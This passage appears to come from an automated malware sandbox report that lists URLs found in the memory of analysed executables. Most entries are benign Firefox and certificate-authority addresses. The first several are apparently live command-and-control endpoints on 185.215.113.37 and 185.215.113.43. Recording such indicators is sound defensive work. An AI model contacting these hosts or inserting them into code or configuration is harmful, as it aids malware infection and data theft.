Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000117A000.00000004.00000020.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/c4
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D74000.00000004.00000020.00020000.00000000.sdmp, bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000DA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWindows
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwq
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ntdesk
Source: J2IWSCR5FJAMGGW2VC4ET4.exe, 00000004.00000002.1690398993.000000000117A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: bd214fbd32.exe, 0000000E.00000002.1927559885.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37t
Source: skotes.exe, 00000007.00000003.2253149939.0000000000F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001D.00000002.2192132128.000001C968703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C967798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2277444887.000001C96F00D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C968803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2199273661.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96883C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2045805918.000001C968A49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2192132128.000001C96878E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001D.00000002.2232898347.000001C96928C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2192132128.000001C96875C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96884F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2167562247.000001C9677D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2227705741.000001C968E1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96404F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001D.00000002.2192132128.000001C968703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2194286820.000001C96881B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2264780674.000001C96AB78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001D.00000002.2192132128.000001C968703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2144220840.000001C964800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2300171636.000001C96F516000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967469000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001D.00000002.2231391137.000001C969052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2157086315.000001C967469000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2231391137.000001C9690E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#http://json-schema.org/draft-06/schema#http://json-schema.org
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 0000001D.00000003.2084605460.000001C9686D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2191911363.000001C9686E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2303891585.000001C96F786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2096194447.000001C96767B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appNamehttp://mozilla.org/#/properties/userFacingNamehttp://mozilla.
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value(browserSe
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/featurehttp://mozilla.org/#/proper
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slugLoginStore.prototype._dataPost
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabledOptional
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureIdRollou
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/featurehttp://mozilla.org/#/proper
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/valuehtt
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/targeting
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/brancheshttp://mozilla.org/#/properties/branches/anyOf/2http://mozil
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/totalhttp://mozilla.org/#/properties/userFac
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/branches/anyOf/0http
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIdsdisabled_shims.GooglePublisherTags
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollouthttp://mozilla.org/#/properties/bucketConfigUnique
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalPropertiesfiref
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slughttp://mozilla.org/#/properties/grease
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomeshttp://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersionhttp://mozilla.org/#/properties/id
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001D.00000002.2227705741.000001C968E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 0000001D.00000003.2110816799.000001C967DEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2149649708.000001C966C3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2078602546.000001C96899D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2138617954.000001C96401F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2146450702.000001C9657BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2068314432.000001C967DC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2090715671.000001C96F110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2005986448.000001C9672F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2045805918.000001C968A7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2078602546.000001C96898B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2074916361.000001C96891C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2267577999.000001C96AC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2150615780.000001C966D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2110816799.000001C967DC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2045805918.000001C968A3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2085636271.000001C968969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2257955106.000001C96A69A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2087507345.000001C968991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2236916533.000001C9694CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2078602546.000001C96891F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2044345773.000001C96958B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1459295281.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 8138ba21a1.exe, 00000012.00000003.2045733905.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2168882791.000001C967927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001D.00000002.2128083032.000001C96307D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2130386877.000001C96347B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.2125679679.000001C962A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001D.00000002.2286214238.000001C96F22D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2257955106.000001C96A673000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2257955106.000001C96A6AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
